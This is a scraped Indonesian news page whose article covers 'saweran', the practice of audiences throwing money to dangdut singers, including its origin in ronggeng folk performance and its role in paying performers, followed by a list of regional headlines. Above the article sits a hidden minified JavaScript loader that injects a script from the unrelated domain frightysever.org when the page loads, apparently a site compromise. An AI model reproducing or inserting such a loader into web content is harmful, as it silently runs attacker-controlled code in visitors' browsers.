(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Puncak Sawer di Pentas Dangdut adalah Harley Davidson!


Beda banget dengan dangdut. Penyanyi-penyanyi dangdut (plus orkesnya) justru sangat membutuhkan uang saweran dari penonton. Selama pertunjukan si penyanyi pasti berkali-kali meminta duit saweran secara halus maupun terang-terangan. Pejabat-pejabat pun sering ditodong sama pedangdut.

Dulunya, memang hal seperti ini agak risih bagi sejumlah kalangan. Tapi lama-lama, sudah menjadi terbiasa. Karena karakter dangdut sebagai budaya rakyat menengah ke bawah. “Kalau gak ada saweran, terus aku dapat apa,” kata seorang penyanyi dangdut.

Dibandingkan penyanyi atau band pop, para pengusaha hiburan kita memang agak beda dalam memperlakukan musisi dan penyanyi dangdut. Orang dangdut dibayar sangat murah di pub atau kafe. Jadi, memang tidak mungkin bisa eksis hanya dengan mengandalkan honor yang tidak seberapa itu.

Kompensasinya ya itu tadi: saweran! Dan, saweran akan semakin banyak kalau pedangdutnya muda, cantik, dan pintar goyang. Suara bagus pun penting tapi tidak mutlak. Uang saweran masuk ke kas manajemen orkes, kemudian dibagi-bagi kepada penyanyi dan musisi.

Saweran berasal dari bahasa Sunda yaitu “sawer” yang artinya melempar uang biasanya dilakukan pada saat upacara kebesaran tradisional seperti, sunatan, kawinan dan sebagainya. Pada orkes dangdut, saweran ini bisa memberikan ‘nafas’ dalam menjalani suatu kesinambungan untuk kelangsungan hidup para anggota grup.

Sementara bagi si penyawer, tampil di atas panggung bersama penyanyi bisa menjadi cara untuk mendapatkan status sosial. Ada yang beralasan rela menghamburkan uang untuk sekedar menyawer bukan hanya ingin kesohor, melainkan mencari kepuasan batin semata.

Jika dirunut ke belakang, tradisi saweran ini sejatinya merupakan metamorfosa seniman musik jalanan tempo doeloe macam ronggeng di masyarakat tempo doeloe. Dalam kesenian rakyat itu, siapa saja bebas menonton, tak ada karcis, bahkan tak ada panggung.

Namun, penonton dituntut kesadarannya untuk nyawer dengan imbalan bisa menari bersama si ronggeng. Kadang-kadang dapat bonus bisa memasukkan uang langsung ke dalam BH sang biduanita. Rangsangan erotis inilah yang bikin orang ramai-ramai nyawer. Apalagi sudah terpengaruh banyu setan alias minuman keras.(cel/berbagai sumber)

Reporter: Cel/berbagai sumber
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

PT GEN Siapkan Ekspansi 2025 Kendaraan Angkutan Besar di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More

5 bulan ago

Wujud Negara Hadir, Pemerintah dan PLN Listriki 99,92 Persen Desa di Indonesia

KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More

5 bulan ago

Banjir di Cempaka, Angkat Perkakas Rumah Sejak Subuh

KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More

5 bulan ago

BPPW Kalsel Serahkan Stadion Demang Lehman ke Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More

5 bulan ago

Ribuan Jemaah Haul ke-1 Guru Danau Berbaur Bersama Pejabat

KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More

5 bulan ago

Cempaka Banjir, Hujan Guyur Banjarbaru Dini Hari hingga Siang

KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More

5 bulan ago

This website uses cookies.